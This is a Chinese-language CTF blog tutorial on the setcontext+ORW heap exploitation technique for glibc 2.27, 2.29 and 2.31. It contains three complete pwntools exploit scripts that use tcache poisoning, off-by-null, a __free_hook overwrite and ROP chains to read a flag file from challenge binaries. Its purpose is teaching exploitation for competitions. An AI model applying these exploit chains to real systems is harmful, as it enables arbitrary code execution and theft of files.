setcontext+orw

狒猩橙發表於2022-01-26

setcontext+orw 大致可以把2.27,2.29做為兩個分界點。

我們先來討論 2.27 及以下的 setcontext + orw 的寫法。

首先 setcontext 是什麼?瞭解過 SROP 的師傅應該知道 pwntools 自帶了一款可以控制暫存器值的工具。模板如下:

frame = SigreturnFrame()
frame.rsp = xxx
frame.rdi = xxx
frame.rsi = xxx
frame.rdx = xxx
frame.rip = xxx

它實質上就是依靠 setcontext 來實現的,我們從 IDA 裡看看它究竟啥樣。

我們可以很清楚地看出它的作用是通過 rdi 暫存器裡的地址附近的地址裡的值來給設定各個暫存器的值。glibc2.27 我們通常從 setcontext + 53 開始使用,也就是 mov   rsp, [rdi+0A0h] 那一行,在閱讀其他師傅的文章後知道是因為上面的 fldenv  byte pte [rcx] 會造成程式執行時直接 crash。從 setcontext + 53 開始我們可以看到我們會給各個暫存器賦值。值得注意的是,mov     rcx, [rdi+0A8h]  和 push  rcx 實質上是在給我們的 rip 進行賦值。而眾多暫存器唯一不可控制的是 rax暫存器,因為不僅沒給 rax 賦值還在最後有一個 xor  eax,eax 。但這也意味著我們一定可以把 rax 設定成 0 。大部分題目中通過控制 rsp 和 rip 就可以很好地解決堆題不方便直接控制程式的執行流的問題。我們通常是吧 setcontext + 53 寫進 __free_hook 或者 __malloc_hook 中,然後建立或者釋放一個堆塊,此時的 rdi 就會是該堆塊的 chunk 頭,那如果我們提前佈局好堆,就意味著我們可以控制暫存器並劫持程式的執行流。

大體上思路差不多是兩種(此處僅討論 orw),第一種是直接控制程式執行流去執行ROP鏈,另一種是先用 mprotect 函式開闢一段可讀可寫可執行的空間再跳到上面去執行 shellcode。個人是比較喜歡直接執行 ROP 鏈的方法。

拿一個國賽的題 silverwolf 來加深 2.27 setcontext+orw

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

s = process('./silverwolf')
libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so')

def add(size):
    s.sendlineafter(b'Your choice: ', b'1')
    s.sendlineafter(b'Index: ', b'0')
    s.sendlineafter(b'Size: ', str(size))

def edit(content):
    s.sendlineafter(b'Your choice: ', b'2')
    s.sendlineafter(b'Index: ', b'0')
    s.sendlineafter(b'Content: ', content)

def show():
    s.sendlineafter(b'Your choice: ', b'3')
    s.sendlineafter(b'Index: ', b'0')

def delete():
    s.sendlineafter(b'Your choice: ', b'4')
    s.sendlineafter(b'Index: ',b'0')

for i in range(7):
    add(0x78)
delete()
edit(b'a'*0x10)
delete()

show()
s.recvuntil(b'Content: ')
heap_base = u64(s.recv(6).ljust(8,b'\x00')) & 0xfffffffffffff000
success('heap_base=>' + hex(heap_base))

add(0x78)
edit(p64(heap_base + 0x10))
add(0x78)
add(0x78)
edit(b'\x00'*0x23 + b'\x07')
delete()

show()
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
success('libc_base=>' + hex(libc_base))

pop_rdi_ret = libc_base + 0x00000000000215bf
pop_rsi_r15_ret = libc_base + 0x00000000000215bd
pop_rdx_ret = libc_base + 0x0000000000001b96
pop_rax_ret = libc_base + 0x0000000000043ae8
syscall_ret = libc_base + libc.sym['read'] + 0xf
ret = libc_base + 0x00000000000008aa

__free_hook = libc_base + libc.sym['__free_hook']
setcontext_53 = libc_base + libc.sym['setcontext'] + 53
write_addr = libc_base + libc.sym['write']

flag_addr = heap_base + 0x1000
stack_addr_1 = heap_base + 0x2000
stack_addr_2 = heap_base + 0x20a0
orw_addr_1 = heap_base + 0x3000
orw_addr_2 = heap_base + 0x3060

orw = p64(pop_rdi_ret) + p64(flag_addr)
orw+= p64(pop_rsi_r15_ret) + p64(0) + p64(0) 
orw+= p64(pop_rax_ret) + p64(2) 
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(3)
orw+= p64(pop_rsi_r15_ret) + p64(heap_base + 0x4000) + p64(0)
orw+= p64(pop_rdx_ret) + p64(0x100)
orw+= p64(pop_rax_ret) + p64(0)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(1)
orw+= p64(pop_rsi_r15_ret) + p64(heap_base + 0x4000) + p64(0)
orw+= p64(pop_rdx_ret) + p64(0x100)
orw+= p64(write_addr) #0xd0

payload = b'\x02'*0x40
payload+= p64(__free_hook)   #0x20
payload+= p64(flag_addr)     #0x30
payload+= p64(0)             #0x40
payload+= p64(stack_addr_1)  #0x50
payload+= p64(stack_addr_2)  #0x60
payload+= p64(orw_addr_1)    #0x70
payload+= p64(orw_addr_2)    #0x80

edit(payload)

add(0x10)
edit(p64(setcontext_53))

add(0x20)
edit(b'./flag')

add(0x50)
edit(p64(orw_addr_1) + p64(ret))

add(0x60)
edit(orw[:0x60])

add(0x70)
edit(orw[0x60:])

add(0x40)
delete()

#gdb.attach(s)
s.interactive()

 

接下來我們來看 2.29 的 setcontext + orw ,2.29 最大的變動就是 setcontext 裡控制暫存器由 rdi 變成了 rdx,這就使得我們無法通過直接控制 free 的堆塊來控制暫存器。所以我們要用到一些 gadget 來把 rdi 和 rdx 轉換一下。

 在2.29裡我認為這兩個 gadget 比較好用,我先選擇了下一個,如果我們把 __free_hook 改成了這個 magic_gadget,再去 free 一個我們佈局好的堆塊。這個堆塊把 rdi+8 地址裡的值改為我們布好偏移的堆塊的地址,再把 rdi 的值改為 setcontext+53 的值。 free 這個堆塊其實就是在把 rdi 設定好的情況下,去執行了 setcontext 來控制暫存器。

 

拿 2019-BALSN-CTF-plaintext 來加深 2.29 的setcontext + orw

有一個 2.29 的 off by null,在off by null 那一篇文章提到過。且這裡為了好除錯,我關閉了本地aslr。

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

s = process('./plaintext')
libc = ELF('./glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so')

def add(size,content):
    s.sendlineafter(b'Choice: ' , b'1')
    s.sendlineafter(b'Size: ' , str(size))
    s.sendafter(b'Content: ' , content)

def delete(index):
    s.sendlineafter(b'Choice: ' , b'2')
    s.sendlineafter(b'Idx: ' , str(index))

def show(index):
    s.sendlineafter(b'Choice: ' , b'3')
    s.sendlineafter(b'Idx: ' , str(index))

def clean():
    for i in range(2):
        add(0xe0 , b'a') # 0-1
    for i in range(5):
        add(0xc0 , b'a') # 2-6
    for i in range(9):
        add(0x70 , b'a') # 7-15
    for i in range(16):
        add(0x60 , b'a') # 16-31
    for i in range(16):
        add(0x10 , b'a') # 32-47
    for i in range(8):
        add(0x1000 , b'a') # 48-55
    add(0xb70 ,b'a') # 56

clean() # clean bins prouced by seccomp and make second byte of the address of large bin is \x00

for i in range(7):
    add(0x28 , b't') # 57-63

add(0xb20 ,b'large') # 64
add(0x10 ,b'a') # 65
delete(64)
add(0x1000 ,b'a') # 64 make old chunk_64 to large bin

add(0x28 , p64(0) + p64(0x521) + p8(0x40)) # 66

# make fake_chunk's fd->bk = fake_chunk

add(0x28 ,b'a') # 67
add(0x28 ,b'a') # 68
add(0x28 ,b'a') # 69
add(0x28 ,b'a') # 70

for i in range(7):
    delete(i+57) # full tcache

delete(69)
delete(67)

for i in range(7):
    add(0x28 , b't') # 57-63

add(0x400 ,b'a') # 47 touch off malloc_consolidate()

add(0x28 ,p64(0) + p8(0x20)) # 49 successfully make fake_chunk's fd->bk = fake_chunk

# make fake_chunk's bk->fd = fake_chunk

add(0x28 ,b'clean') # 71 clean tcache

for i in range(7):
    delete(i+57) # full tcache

delete(68)
delete(66)

for i in range(7):
    add(0x28 , b't') # 57-63

add(0x28 ,p8(0x20)) # 66

# off by null

add(0x28 ,b'clean') # 68

add(0x28 ,b'a')  # 72
add(0x5f8 ,b'a') # 73
add(0x100 ,b'a') # 74

delete(72)
add(0x28 ,b'\x00'*0x20 + p64(0x520)) # 72
delete(73)

# leak libc and heap addr

add(0x40 ,b'a') # 73

show(68)
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
success('libc_base=>' + hex(libc_base))

add(0x28 ,b'a') # 75 = 68

delete(57)
delete(68)

show(75)
heap_base_addr = u64(s.recv(6).ljust(8,b'\x00')) + 0x1e0 - 0x10
success('heap_base_addr=>' + hex(heap_base_addr))

__free_hook = libc_base + libc.sym['__free_hook']
setcontext_53 = libc_base + libc.sym['setcontext'] + 53
magic_gadget = libc_base + 0x000000000012be97

'''
mov rdx, qword ptr [rdi + 8];
mov rax, qword ptr [rdi];
mov rdi, rdx;
jmp rax;
'''

pop_rax_ret = libc_base + 0x0000000000047cf8
pop_rdi_ret = libc_base + 0x0000000000026542
pop_rsi_ret = libc_base + 0x0000000000026f9e
pop_rdx_ret = libc_base + 0x000000000012bda6
ret_addr = libc_base + 0x000000000002535f
syscall_ret = libc_base + libc.sym['read'] + 0xf


# setcontext
add(0x28 ,b'a') # 57 = 75
add(0x28 ,b'a') # 68

delete(70)
add(0x40 ,p64(0)*5 + p64(0x31) + p64(__free_hook)) # 70
add(0x28 ,b'a') # 76
add(0x28 ,p64(magic_gadget)) # 77

flag_addr = heap_base_addr + 0x60 + 0x10
fake_stack_addr = heap_base_addr + 0x60 + 0x30 - 0xa0
orw_addr = heap_base_addr + 0x60 + 0x10 + 0x50 
bss_addr = libc_base + libc.bss()

add(0x28 ,p64(setcontext_53) + p64(fake_stack_addr) + b'./flag\x00\x00') # 78

add(0x28 ,p64(orw_addr) + p64(ret_addr)) # 79


orw = p64(pop_rdi_ret) + p64(flag_addr)
orw+= p64(pop_rsi_ret) + p64(0)
orw+= p64(pop_rax_ret) + p64(2)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(3)
orw+= p64(pop_rsi_ret) + p64(bss_addr)
orw+= p64(pop_rdx_ret) + p64(0xe)
orw+= p64(pop_rax_ret) + p64(0)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(1)
orw+= p64(pop_rsi_ret) + p64(bss_addr)
orw+= p64(pop_rdx_ret) + p64(0xe)
orw+= p64(pop_rax_ret) + p64(1)
orw+= p64(syscall_ret)

add(0x100 ,orw) # 80

#gdb.attach(s)
delete(78)

s.interactive()

 

接下來就是 2.31 的 setcontext+orw

和之前版本的區別是setcontext 的位置變成了 setcontext+61

 

 而且之前 2.29 發現的gadget只剩下一個了

 

我們把那個 plaintext 重新用2.31編譯了一下,且沒開沙盒這樣就可以省去填充沙盒開闢出來的堆塊的步驟了。

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

s = process('./note1')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(size,content):
    s.recvuntil(b'Choice: ')
    s.sendline(b'1')
    s.recvuntil(b'size: ')
    s.sendline(str(size))
    s.recvuntil(b'content: ')
    s.send(content)

def delete(index):
    s.recvuntil(b'Choice: ')
    s.sendline(b'2')
    s.recvuntil(b'idx: ')
    s.sendline(str(index))

def show(index):
    s.recvuntil(b'Choice: ')
    s.sendline(b'3')
    s.recvuntil(b'idx: ')
    s.sendline(str(index))    

for i in range(6):
    add(0x1000 ,b'a') # 0-5

add(0x1000 - 0x410 ,b'a') # 6

for i in range(7):
    add(0x28 ,b't')   # 7-13

add(0xb20 ,b'large') # 14 chunk head address is 0x......0040
add(0x10 ,b'a') # 15

delete(14)
add(0x1000 ,b'a') # 14

add(0x28 ,p64(0) + p64(0x521) + p8(0x70)) # 16

# make fake_chunk's fd->bk = fake_chunk

add(0x28 ,b'a') # 17
add(0x28 ,b'a') # 18
add(0x28 ,b'a') # 19
add(0x28 ,b'a') # 20


for i in range(7):
    delete(i+7)

delete(19)
delete(17)

for i in range(7):
    add(0x28 ,b't')   # 7-13

add(0x400 ,b'a') # 17
add(0x28 ,p64(0) + p8(0x50)) # 19

# make fake_chunk's bk->fd = fake_chunk

add(0x28 ,b'a') # 21 clean tcache

for i in range(7):
    delete(i+7)

delete(18)
delete(16)

for i in range(7):
    add(0x28 ,b't')   # 7-13

add(0x28 ,p8(0x50)) # 16

# off by null

add(0x28 ,b'a') # 18 clean fastbin

add(0x28 ,b'a') # 22
add(0x5f8 ,b'a') # 23
add(0x100 ,b'a') # 24
 
delete(22)
add(0x28 ,b'a'*0x20 + p64(0x520)) # 22
delete(23)

# leak libc and heap

add(0x18 ,b'a') # 23

show(19)

libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
success('libc_base=>' + hex(libc_base))

add(0x28 ,b'a') # 25
add(0x28 ,b'a') # 26=18

delete(20)
delete(18)
show(26)

heap = u64(s.recv(6).ljust(8,b'\x00'))
success(hex(heap))

add(0x28 ,b'a') # 18=26
add(0x28 ,b'a') # 20

__free_hook = libc_base + libc.sym['__free_hook']
setcontext_61 = libc_base + libc.sym['setcontext'] + 61
magic_gadget = libc_base + 0x0000000000154930
bss_addr = libc_base + libc.bss()

pop_rax_ret = libc_base + 0x000000000004a550
pop_rdi_ret = libc_base + 0x0000000000026b72
pop_rsi_ret = libc_base + 0x0000000000027529
pop_rdx_r12_ret = libc_base + 0x000000000011c371
syscall_ret = libc_base + libc.sym['read'] + 0x10
ret_addr = libc_base + 0x0000000000025679

stack_addr = heap + 0x40
orw_addr = heap + 0x100

'''
mov rdx, qword ptr [rdi + 8];
mov qword ptr [rsp], rax;
call qword ptr [rdx + 0x20];
'''

# attack

delete(18)
delete(20)
add(0x40 ,b'a'*0x20 + p64(0) + p64(0x31) + p64(__free_hook)) #18
add(0x20 ,b'a') # 20
add(0x20 ,p64(magic_gadget)) # 27

add(0x10 , p64(0) + p64(stack_addr)) # 28
success(hex(stack_addr))

stack = b'./flag\x00\x00' + p64(0)*3 + p64(setcontext_61)
stack+= b'\x00'*(0xa0-0x28)
stack+= p64(orw_addr) + p64(ret_addr)

add(0xb0 ,stack) # 29

orw = p64(pop_rdi_ret) + p64(stack_addr)
orw+= p64(pop_rax_ret) + p64(2)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(3)
orw+= p64(pop_rsi_ret) + p64(bss_addr)
orw+= p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)
orw+= p64(pop_rax_ret) + p64(0)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(1)
orw+= p64(pop_rsi_ret) + p64(bss_addr)
orw+= p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)
orw+= p64(pop_rax_ret) + p64(1)
orw+= p64(syscall_ret)

add(0x100 ,orw) # 30
#gdb.attach(s)
delete(28)


s.interactive()

 

附件

提取碼:efi9

 

參考連結

https://blog.csdn.net/yongbaoii/article/details/119544590

https://blog.csdn.net/carol2358/article/details/107115485

https://blog.csdn.net/A951860555/article/details/118268484

https://blog.csdn.net/weixin_43960998/article/details/115838190